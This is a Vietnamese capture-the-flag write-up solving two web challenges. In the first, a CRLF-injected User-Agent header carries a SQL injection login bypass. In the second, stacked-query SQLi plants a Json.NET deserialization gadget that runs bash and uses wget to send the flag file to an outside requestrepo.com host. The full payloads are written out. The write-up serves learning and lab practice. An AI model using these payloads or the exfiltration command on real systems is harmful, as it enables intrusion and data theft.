Try   HackMD

Write Up này mình viết sau khi cuộc thi đã kết thúc, với niềm tin là giải sẽ vẫn còn mở instance sau khi end, nhưng không =))). Nó thực sự kết thúc và không được mở instance nữa nên mình sẽ chủ yếu khai thác ở local thôi.

1. web_gatecrash

Đề bài

Challenge cấp cho mình src code và Dockerfile để có thể dựng được local. Mục tiêu chính của bài này sẽ là đăng nhập vào được website thì sẽ có flag.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Phân Tích

Sau khi thử đăng nhập và ăn ngay thông báo "Browser not supported". Mình đã đi vào và xem xét src code:

image
Challenge có 2 api chính, là control_api được xử lý bằng nim (code lạ quá) và user_api xử lý bằng golang
Vậy nên chủ yếu mình sẽ phải làm việc với 2 file là main.go và main.nim. Khi gửi request đăng nhập lên thì nó sẽ được xử lý ở main.nim, sau đó gửi về main.go để xử lý :100:
Ban đầu thì mình chưa biết về flow request nó sẽ đi như vậy, nên mình cũng chỉ đọc lướt file nim rồi tập trung vào khai thác ở golang để bypass vì nhận thấy đoạn đăng nhập dính sqli khá rõ ràng, nhưng mình đã không làm được vì hàm xử lý filter sqli ở file nim là không thể bypass bằng request body. Sau đó thì mình có đi hỏi những anh em bạn bè (rất cảm ơn bro Chanze vì đã hint mình siêu mạnh) thì mình mới hiểu được flow của chương trình và solve được challenge này.
Thứ mình cần phải đọc kĩ trước tiên phải là file main.nim-> nơi đầu tiên request được xử lý sau khi gửi lên ở server
Đầu tiên mình cần để ý hàm filter sqli:

proc containsSqlInjection(input: string): bool =
  for c in input:
    let ordC = ord(c)
    if not ((ordC >= ord('a') and ordC <= ord('z')) or
            (ordC >= ord('A') and ordC <= ord('Z')) or
            (ordC >= ord('0') and ordC <= ord('9'))):
      return true
  return false

Mình được đưa vào một string, thì hàm này sẽ check xem kí tự được duyệt có phải là từ a->z, A->Z, hoặc 0->9 không. Nếu vi phạm sẽ trả về true và bị đánh giá là có chứa SQL Injection ngay -> không cho phép nhập cả dấu cách, nghĩa là chỉ có kí tự thường -> filter siêu chặt :cry:.
Sau khi khai báo hàm kiểm tra, thì mình sẽ nói đến hàm xử lý request POST đến entrypoint /user:

let username = @"username"
let password = @"password"

if containsSqlInjection(username) or containsSqlInjection(password):
  resp msgjson("Malicious input detected")

let userAgent = decodeUrl(request.headers["user-agent"])

let jsonData = %*{
  "username": username,
  "password": password
}

let jsonStr = $jsonData

let client = newHttpClient(userAgent)
client.headers = newHttpHeaders({"Content-Type": "application/json"})

let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)

if response.code != Http200:
  resp msgjson(response.body.strip())

resp msgjson(readFile("/flag.txt"))

Hàm lấy giá trị của username và password vào 2 biến tương đương. Sau đó kiểm tra giá trị đầu vào của 2 biến này bằng hàm checkSQLi vừa rồi, nếu có sẽ trả về thông báo "Malicious input detected" và không thực hiện tiếp nữa
Sau đó nó lấy UserAgent của request bằng cách decode url giá trị user agent(sussy). Khởi tạo một json từ giá trị username và password từ body request, gửi đến entrypoint /login tại server internal http://127.0.0.1:9090 với post body request là đoạn JSON vừa khởi tạo, nếu như response trả về khác 200 sẽ gửi nội dung body được strip cho client (nghĩa là nếu như 400 sẽ trả về 400, hoặc 500 sẽ trả về 500). Còn nếu như status 200 sẽ trả về msg là flag
Hàm này sẽ xử lý và trả về kết quả theo dạng json {"msg": "..."} -> Nội dung sẽ được đưa vào bên trong msg và trả về cho mình.
Tại main.go, đập vào mắt mình ngay lập tức là website sử dụng sqlite3 để làm dbms, và có danh sách các user-agent được cho phép (lí do tại sao đăng nhập bình thường dính ngay lỗi browser :D)

var allowedUserAgents = []string{
	"Mozilla/7.0",
	"ChromeBot/9.5",
	"SafariX/12.2",
	"QuantumBreeze/3.0",
	"EdgeWave/5.1",
	"Dragonfly/8.0",
	"LynxProwler/2.7",
	"NavigatorX/4.3",
	"BraveCat/1.8",
	"OceanaBrowser/6.5",
}

const (
	sqlitePath = "./user.db"
	webPort    = 9090
)

Server khởi tạo struct User có 3 giá trị ID, username, password tương ứng trong database để thuận tiện trong việc gán giá trị và lấy thông tin

type User struct {
	ID       int
	Username string
	Password string
}

Sau đó họ tạo ra 10 tài khoản được random 32 ký tự hex, riêng mật khẩu được lưu trữ dưới dạng hash theo thuật toán bcrypt bằng hàm bcrypt.GenerateFromPassword

for i := 0; i < 10; i++ {
    newUser, _ := randomHex(32)
    newPass, _ := randomHex(32)

    hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost)
    if err != nil {
        fmt.Println(err)
        return
    }

    _, err = db.Exec("INSERT INTO users (username, password) VALUES ('" + newUser + "', '" + string(hashedPassword) + "');")
    if err != nil {
        fmt.Println(err)
        return
    }
}

Tiếp đến là đoạn xử lý request login được gửi đến từ file .nim:

func loginHandler(w http.ResponseWriter, r *http.Request) {
	found := false
	for _, userAgent := range allowedUserAgents {
		if strings.Contains(r.Header.Get("User-Agent"), userAgent) {
			found = true
			break
		}
	}

	if !found {
		http.Error(w, "Browser not supported", http.StatusNotAcceptable)
		return
	}

Họ check header user-agent trước, nếu như có chứa một trong các user-agent được cho phép đã đề cập ở bên trên thì sẽ cho qua, còn nếu không sẽ trả về lỗi và kết thúc chương trình.

	var user User
	err := json.NewDecoder(r.Body).Decode(&user)
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}

Tiếp đến khởi tạo một object User với nội dung là đoạn json được decode về dạng key-value tương ứng với dạng struc user vừa tạo trước đó

	userPassword := user.Password

	row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")
	err = row.Scan(&user.ID, &user.Username, &user.Password)

	if err != nil {
		http.Error(w, "Invalid username or password", http.StatusUnauthorized)
		return
	}

	err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(userPassword))
	if err != nil {
		http.Error(w, "Invalid password or password", http.StatusUnauthorized)
		return
	}

	w.WriteHeader(http.StatusOK)
	fmt.Fprintln(w, "Login successful")
}

Gán password vừa lấy được vào biến userPassword, thực hiện tìm kiếm user bằng câu lệnh SQL "SELECT * FROM users WHERE username='" + user.Username + "';" -> nối chuỗi username vào câu lệnh này. Fetch lấy giá trị của hàng đó cho vào giá trị của các object User -> user.Password lúc này sẽ password đã được hash. Tiếp tục so sánh hash của password mình nhập vào với giá trị hash password tương ứng ở trong database. Nếu sai sẽ trả về lỗi Invalid password or password, còn nếu 200 thì trả về Login successful -> file nim thấy status 200 sẽ trả về flag
Vậy là khi mình POST /user, file nim sẽ đứng ra xử lý request, check body param, tạo 1 request POST /login đến internal service tại cổng 9090 để xử lý request -> file main.go, tại đây, request tiếp tục được xử lý để xem có tồn tại username và password hash có giống nhau không, sau đó trả response về file nim. File nim dựa vào status để xem nếu status 200 sẽ gửi flag về cho user, nếu status khác sẽ trả về response chứa lỗi tương ứng, ví dụ như 400 Bad Request,

Phương Hướng & Khai Thác

Phương Hướng

Như đã nói ở trên, đoạn nối chuỗi để login rất ngon nên mình đã cố gắng để sqli bằng body request ở POST /user, mình thử xài mảng và một số cách nữa nhưng đều thất bại, hàm filter SQLinjection là quá chặt :cry:. Đây không phải là cách mình có thể solve được chall này
Sau đó mình có chú ý đến đoạn decode url user-agent, chả có lý do gì nó cần phải decode URL, ngoại trừ khi mình cần xuống dòng -> nên mình đã nghĩ đến việc code injection để ném cái đoạn thông báo gửi flag về ngay đằng sau câu lệnh tạo user-agent, nhưng cách cũng không được vì mình không escape khỏi đoạn chuỗi khai báo được, và khi gửi lên nó không hoạt động như vậy
Sau khi được Chanze hint thì mình mới hiểu mục đích của việc nó cho decode url là gì, không phải là code injection chèn một đoạn code nim vào, mình sẽ lợi dụng decode url để thực hiện crlf injection, chèn payload vào phần khai báo json body của request đến /login. Vì để ý mình sẽ thấy đoạn khai báo user-agent cách chỗ khởi tạo đoạn jsson 2 dòng -> %0d%0a%0d%0a
Một điều mãi mình mới hiểu là hàm filter sqli chỉ áp dụng với body request của POST /user, chứ không phải body request của POST /login, nên nếu như chèn được đoạn body json để file nim gửi đi thì mình có thể SQL injection thoải con gà mái rồi :rolling_on_the_floor_laughing:
Khi mà có thể sqli và chèn vào một json tùy ý, thì đoạn json của mình sẽ được ghi lên trên đoạn json mà code Nim gen ra, từ đó phát sinh ra 1 vấn đề mới là content-length, nếu như content-length không đủ nó sẽ không lấy hết json, từ đó render lỗi và kết quả là status 400. Thế nên để truyền vào được json tùy ý mình còn phải control giá trị content length nữa.
Content-Length là header được tự tạo khi gửi request mà mình đã cố thử sử dụng crlf để chèn thêm nhưng không thể được, nên mình cần phải kiểm soát nó bằng cách khác. Sau một ngày bí xị thì anh của mình đã hỏi mình một câu là: Em nghĩ xem cái content length cũ nó tính ở đâu ra -> đúng, content length cũ (tức là content length của POST /user) được quyết định dựa trên độ dài của body request đến /user, request đến /login sẽ dựa vào dữ liệu nhận được (cũng chính là body request đến /user) để tạo ra content-length của /login. Tức là mình có thể sử dụng body để quyết định xem request đến /login sẽ có content-length là bao nhiêu.
Tất cả mọi thứ đã đầy đủ, vậy giờ cách khai thác của mình sẽ như sau:

  • Đầu tiên tạo một json chứa payload sql injection và lấy độ dài của nó
  • Tạo một body request có độ dài tương tự với content length của đoạn json
  • Đưa vào POST /user body request đó, crlf tại User-Agent với đoạn json được url encode
    Để thuận tiện cho việc mình đã bypass được username hay mật khẩu rồi, thì mình đã sửa code ở đoạn main.go:
    image
  • Mình thêm đoạn code in ra câu lệnh query ở console log để xem mình đã truyền vào cái gì, và thay đổi nếu bypass qua đoạn username rồi thì đoạn lỗi sẽ là Invalid password chứ để or thì mình không biết bao giờ mới sqli thành công =))
    Sau khi khai thác sqli để bypass username thành công, mình sẽ tính tới chỗ password hash sau:
    Giờ mình sẽ thử craft một json có dạng:
    image

    Oke, vậy là content-length của json này là 49, giờ mình sẽ lấy một body request có độ dài như vậy để khi truyền vào request có độ dài là 49, nim sẽ gửi request đi với body cũng là 49, mà lúc này body lại đang có 2 cái json có độ dài 49, tất nhiên nó sẽ bế cái json nằm bên trên đi và nó là cái json mình chèn vào được bằng crlf -> lí do của việc body cần phải có body length tương đương với payload.
    Rồi, giờ sẽ là tạo body có độ dài là 49
    image

    Sau đó mình mới gửi lên payload, lúc này mình sẽ crlf vào user-agent, truyền body kia vào body request, url encode đoạn json:
    image

    Bypass thành công đoạn check username :crossed_swords:
    image

    Đoạn username được gửi lên sẽ có query như thế này:
    image

    Vậy thì giờ mình cần phải bypass đoạn check hash của password, bài này họ hash bằng thuật toán bcrypt, và hàm check hash sẽ kiểm tra xem text plain mình nhập vào có giống với hash có sẵn không
    image

    Sau một hồi tìm hiểu thì mình nhận ra là thằng bcrypt này hash khá là giống với hàm password_hash của php ở thuật toán mặc định cũng là bcrypt, và hàm kiểm tra cũng sẽ giống với hàm password_verify, nên mình trace ngược lại thằng đó để tìm cách khải quyết
    Vì mình đã từng làm 1 bài cũng có hash bằng bcrypt trên php, nên mình tìm ra cách để bypass đoạn hash này là lợi dụng sqli để tự gen ra cho bản thân một đoạn hash mà mình control text plain: stackoverflow
    image

    Done, giờ mình có thể khai thác để lấy flag của challenge rùi

Khai Thác

Giờ mình sẽ tự gen ra đoạn hash đơn giản bằng golang nhằm phục vụ việc set password:

package main

import (
	"fmt"
	"golang.org/x/crypto/bcrypt"
)

func main() {
	password := "a"

	hashedPassword, err := hashPassword(password)
	if err != nil {
		fmt.Println("Error hashing password:", err)
		return
	}

	fmt.Println("Hashed Password:", hashedPassword)

	match := checkPassword("a", hashedPassword)
	fmt.Println("Password Match:", match)
}

func hashPassword(password string) (string, error) {
	hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
	if err != nil {
		return "", err
	}
	return string(hash), nil
}

func checkPassword(password, hashedPassword string) bool {
	err := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password))
	return err == nil
}

Mình có thêm cả đoạn check lại password nữa cho bó cẩn =))), để xem liệu mình có gen hash đúng không

image
Mình có được hash cho password "a" là

$2a$10$KFA6DbquF9096KhtrZnmN.UlDjr4KdV18OhwtC8FlJ1jS43BuGX0e

Giờ xem xét câu lệnh SQL nào:

SELECT * FROM users WHERE username='user.Username';

Để UNION SELECT thì mình cần phải để đúng số cột của bảng users, bảng này chứa 3 thuộc tính id int, username text và password text nên Payload của mình lúc này sẽ chọn cả 1 số int bất kì để giống với cột id nữa:

{
	"username":"' union select 1, 'a' as username, '$2a$10$KFA6DbquF9096KhtrZnmN.UlDjr4KdV18OhwtC8FlJ1jS43BuGX0e' as password-- -",
	"password":"a"
}

Đã có payload json rùi, giờ mình lấy length và gửi payload thui
Length của payload là 151

image
Encode URL đoạn json nào:
image

Lụm flag:
image

Deploy instance, và mình bê y nguyên những gì đã viết ở đây vào instance thì mình có được flag:
image

Flag: HTB{d0_th3_d45h_0n_th3_p4r53r}

2. web_nexus_void

Challenge này được solve bởi teammate của mình Hồng Nam, mình đã tham khảo cách làm và sẽ thực hiện khai thác lại trên local để hiểu rõ hơn về chall.
Ngoài ra mình cũng được các anh hint cho một số keyword để khai thác chall này:

union
deser
custom gadget

Đề bài

Challenge cung cấp chức năng đổi tên tài khoản, xem các mặt hàng và thêm các sản phẩm mình thích vào một list được gọi là WishList: (code giao diện đẹp wá)

image

Phân Tích

Cấu Trúc

Đây là lần đầu mình được tiếp cận với code C# nên khá là ngợp vì số lượng file của nó, nhưng có một số folder chính mà mình chú ý đến trong những kha khá nhiều file src code của challenge:

image

Chức năng
  • Controllers: thực hiện điều khiển các hoạt động của webserver, khi truy cập đến sẽ ra kết quả gì, view ra sao, vv
  • Models: khởi tạo các đối tượng được sử dụng trong Controllers, các đối tượng có thuộc tính cụ thể tương ứng với những thuộc tính nó sở hữu trong database
  • Migration: khởi tạo ban đầu dữ liệu của các đối tượng vào database như kiểu dữ liệu, tên thuộc tính, ràng buộc
  • Helpers: các hàm chức năng phục vụ xử lý trong Controller, đây là nơi quan trọng mình cần phải xem xét vì nó là nơi xử lý dữ liệu và đưa cho Controller

Src code

Nhìn sơ qua ban đầu thì mình xác định dbms của challenge vẫn là SQLite ở file Nexus_Void.csproj:

<PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite" Version="7.0.10" />

Tại HomeControllers.cs, mình thấy chức năng Setting -> đổi tài khoản có khả năng dính SQL Injection vì nó chỉ nhét giá trị username mình control vào mà không phòng bị gì cả, lúc đầu đọc mình đã bỏ qua nó vì nghĩ ID là thuộc tính mình không control được nên mà quên mất mình có thể comment chỗ đó lại mà chèn vào một câu query khác -> stacked query(đây cũng là lần đầu mình stack query trên SQLite vì mình cứ nghĩ sqlite không hỗ trợ stacked query)

public IActionResult Setting(UserModel user)
{
    string ID = HttpContext.Items["ID"].ToString();
    JWTHelper jwt = new JWTHelper(_configuration);

    string jwtToken = jwt.GenerateJwtToken(user.username, ID);

    string sqlQuery = $"UPDATE Users SET username='{user.username}' WHERE ID={ID}";
    _db.Database.ExecuteSqlRaw(sqlQuery);

    Response.Cookies.Append("Token", jwtToken);

    ViewData["Message"] = "Profile updated!";
    ViewData["username"] = user.username;

    return View();
}

image
Sau khi biết nó có thể sqli, mình đã thử ngay chức năng đọc file của SQLite là readfile() nhưng không có kết quả, có lẽ việc SQL injection là chưa đủ để lấy được flag, nên mình tiếp tục đọc đến các hàm xử lý của WishList:

[HttpPost]
public IActionResult Wishlist(string name, string sellerName)
{
    string ID = HttpContext.Items["ID"].ToString();
    string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID={ID}";
    var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();
    string sqlQueryProduct = $"SELECT * from Products WHERE name='{name}' AND sellerName='{sellerName}'";
    var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault();
    if(!string.IsNullOrEmpty(product.name))
    {
        if (wishlist != null && !string.IsNullOrEmpty(wishlist.data))
        {

            List<ProductModel> products = SerializeHelper.Deserialize(wishlist.data);
            ProductModel result = products.Find(x => x.name == product.name);
            if (result != null)
            {
                return Content("Product already exists");
            }
            products.Add(product);
            string serializedData = SerializeHelper.Serialize(products);
            string sqlQueryAddWishlist = $"UPDATE Wishlist SET data='{serializedData}' WHERE ID={ID}";
            _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist);

        }
        else
        {
            string username = HttpContext.Items["username"].ToString();
            List<ProductModel> wishListProducts = new List<ProductModel>();
            wishListProducts.Add(product);
            string serializedData = SerializeHelper.Serialize(wishListProducts);
            string sqlQueryAddWishlist = $"INSERT INTO Wishlist(ID, username, data) VALUES({ID},'{username}', '{serializedData}')";

            _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist);
        }
        return Content("Added");
    }
    return Content("Invalid");
}

Đây là chức năng thêm vào wishlist sản phẩm mình yêu thích, cụ thể là khi add một sản phẩm vào favourite sẽ trigger hàm này với tham số truyền vào người bán (sellerName) và tên sản phẩm (name). Đầu tiên nó fetch lấy thông tin của sản phẩm đó bằng ID user, sau đó so sánh xem liệu sản phẩm này đã tồn tại ở wishlist hay chưa, nếu chưa thì nó tiến hành khởi tạo object ProductModel, thêm các thuộc tính của mặt hàng này vào object, serialize object bằng helpers SerializeHelper, gán nó vào giá trị serializedData. Rồi thêm vào bảng Wishlist id, tên người dùng và data là serializedData. Tức bảng Wishlist sẽ chứa một cột data chứa dữ liệu được serialize về object thuộc kiểu ProductModel. Vậy thì sure kèo là để hiện ra trang web sẽ thực hiện deserialize giá trị này -> insecure deserialization

[HttpGet]
public IActionResult Wishlist()
{
    string ID = HttpContext.Items["ID"].ToString();
    string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID='{ID}'";
    var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();

    if (wishlist != null && !string.IsNullOrEmpty(wishlist.data))
    {
        List<ProductModel> products = SerializeHelper.Deserialize(wishlist.data);
        return View(products);
    }
    else
    {
        List<ProductModel> products = null;
        return View(products);
    }

}

Chính xác luôn, nó lần lượt deserialize dữ liệu có trong cột data của bảng để show ra view, nếu không sẽ trả về null. Mình thấy có 2 chức năng trigger đến deser là truy cập đến wishlist và remove sản phầm, mình nghĩ để trigger deser thì xóa đi hay truy cập đến nó cũng như nhau nên ở đây mình sẽ khai thác deser bằng cách truy cập đến Wishlist.
Oke, đọc đến hàm này có vẻ như mình sẽ phải khác thác theo deser rồi, mình chuyển sang đọc về các function Helpers được sử dụng để xem chúng serialize như thế nào:

SerializeHelper

public class SerializeHelper
{
    public static string Serialize(List<ProductModel> list)
    {
        string serializedResult = JsonConvert.SerializeObject(list, new JsonSerializerSettings
        {
            TypeNameHandling = TypeNameHandling.All
        });

        string encodedData = EncodeHelper.Encode(serializedResult);
        return encodedData;
    }

    public static List<ProductModel> Deserialize(string str) 
    {
        string decodedData = EncodeHelper.Decode(str);

        var deserialized = JsonConvert.DeserializeObject(decodedData, new JsonSerializerSettings
        {
            TypeNameHandling = TypeNameHandling.All
        });

        List<ProductModel> products = deserialized as List<ProductModel>;

        return products;
    }
}

Helper này sử dụng JsonConvert Serialize để serialize một object về dạng một string json, string json sau đó được xử lý qua hàm EncodeHelper.Encode -> tiếp tục là một helpers nữa phục vụ việc encode và decode Base64 rồi mới trả về.
Điều cần lưu ý là để serialize input buộc là một object ProductModel nên mình nghĩ sẽ không thể nào mình chèn payload vào được ở hàm này, hay nhờ webserver serialize payload của mình được
Hàm deserialize thì làm ngược lại, từ chuỗi json string nó decode Base64 trước rồi deserialize về object ban đầu, và gán nó trở lại vào 1 object kiểu ProductModel là products
Hmmm :thinking_face:, vậy tức là nó deserialize trước, rồi gán nó vào một object kiểu ProductModel? Nếu như mình có thể control được string input thì hoàn toàn có thể khai thác được deserialize tùy ý nhỉ :laughing:

StatusCheckHelper

Sau đó mình xem liệu deserialize thì sẽ deserialize cái gì. Mình được một người anh là Tuấn Anh chỉ rằng có một helpers thực hiện câu lệnh command tùy ý theo input vào, nó là StatusCheckHelper.cs

public class StatusCheckHelper
{
    public string output { get; set; }
    private string _command;
    public string command 
    {
        get { return _command; }
        set
        {
            _command = value;
            try
            {
                var p = new System.Diagnostics.Process();

                var processStartInfo = new ProcessStartInfo()
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    FileName = $"/bin/bash",
                    WorkingDirectory = "/tmp",
                    Arguments = $"-c \"{_command}\"",
                    RedirectStandardOutput = true,
                    RedirectStandardError = true,
                    UseShellExecute = false
                };
                p.StartInfo = processStartInfo;
                p.Start();

                output = p.StandardOutput.ReadToEnd();
            }
            catch 
            {
                output = "Something went wrong!";
            }               
        }
    }
}

Ngon chưa, helpers này nhận đầu vào là một string, sau đó nhét command vào /bin/bash -c để thực thi câu lệnh dưới một process được ẩn. Sau khi thực thi sẽ lưu output tại biến output và có thể được show ra nếu như ta .output
Chức năng sử dụng thằng này là ở /status và /uptime để thực thi sẵn bash script có sẵn trong tmp. Ở entrypoint này không có cơ hội cho mình khai thác vì trỏ đến là nó tạo mới lại object StatusCheckHelper nên không có chuyện nó nhận object của mình

Phương hướng & Khai Thác

Sau khi nhận thấy có 3 chỗ chứa lỗi SQLi, Deser và Command Execution. Mình vẫn chưa biết làm như thế nào để website nhận chuỗi deserialize của mình. Thứ mình cần là payload nằm trong cột data của bảng wishlist cơ :thinking_face:
Khoan đã, mình có SQLi stacked query mà, vậy thì mình có thể tạo một câu lệnh UPDATE bảng để chèn thông tin vào :100:. Sau đó thì mình nghĩ không cần thiết đến việc có show ra output hay không, vì mình có thể out bound ra ngoài
Tổng kết lại, quy trình exploit sẽ như sau:

- Tạo payload serialize bằng class StatusCheckHelper()
- Base64 encode payload
- SQL Injection tại function đổi tên username, update table Wishlist để thay đổi giá trị data bằng payload vừa tạo
- Truy cập lại vào Wishlist, trigger deserialize
- RCE!!!

Mọi thứ đã đầy đủ, chỉ còn thiếu mỗi payload, mình sẽ lấy helpers của source code để thử xem payload serialize có hoạt động đúng theo những gì mình nghĩ không, mình demo trên Windows nên sẽ phải chỉnh sửa một số chỗ ở StatusCheckHelpers
StatusCheck.cs

using System.Diagnostics;
public class StatusCheckHelper
{
    public string output { get; set; }
    public string _command;
    public string command 
    {
        get { return _command; }
        set {
            _command = value;
            var p = new System.Diagnostics.Process();
            var processStartInfo = new ProcessStartInfo()
            {
                WindowStyle = ProcessWindowStyle.Hidden,
                FileName = $"powershell",
                Arguments = $"\"{_command}\"",
                RedirectStandardOutput = true,
                RedirectStandardError = true,
                UseShellExecute = false
            };
            p.StartInfo = processStartInfo;
            p.Start();

            output = p.StandardOutput.ReadToEnd();
        }        
    }         
}

Program.cs

using System.Text.Json.Serialization;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

StatusCheckHelper sc = new StatusCheckHelper();
sc.command = "nslookup ecs41sm4.requestrepo.com";

string ser = JsonConvert.SerializeObject(sc, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All
});

Console.WriteLine(ser);

var deser = JsonConvert.DeserializeObject(ser, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All
});

image
Hehe, outbound ra ngoài thành công :crossed_swords:
image

Vậy thì mình đã build được thành công payload, giờ mình xem là docker có curl hay không để tiện sử dụng:
image

Có vẻ như không có curl rồi, vậy thì mình dùng wget cũng okela

wget --post-data $(cat /f*) ecs41sm4.requestrepo.com

Sửa lại câu lệnh command mình muốn để gen ra payload:

image
Base64 encode lại payload, mình cần sửa lại tyoe về đường dẫn đến helpers như trong challenge:

{"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","_command":"wget --post-data $(cat /f*) -O- ecs41sm4.requestrepo.com","output":"","command":"wget --post-data $(cat /f*) -O- ecs41sm4.requestrepo.com"}

image
SQLi vào entrypoint /Home/Setting để update payload vào cột data của bảng Wishlist

'; update Wishlist set data='eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsIl9jb21tYW5kIjoid2dldCAtLXBvc3QtZGF0YSAkKGNhdCAvZiopIC1PLSBlY3M0MXNtNC5yZXF1ZXN0cmVwby5jb20iLCJvdXRwdXQiOiIiLCJjb21tYW5kIjoid2dldCAtLXBvc3QtZGF0YSAkKGNhdCAvZiopIC1PLSBlY3M0MXNtNC5yZXF1ZXN0cmVwby5jb20ifQ==' where ID=1;-- -

image
Truy cập vào wishlist và ngồi đợi flag về thui, khi hàm thực hiện deserialize và đến đoạn gán vào object ProductModel thì chắc chắn sẽ xảy ra lỗi, tuy nhiên nó vẫn sẽ được thực thi:
image

Solved :heavy_check_mark: :heavy_check_mark: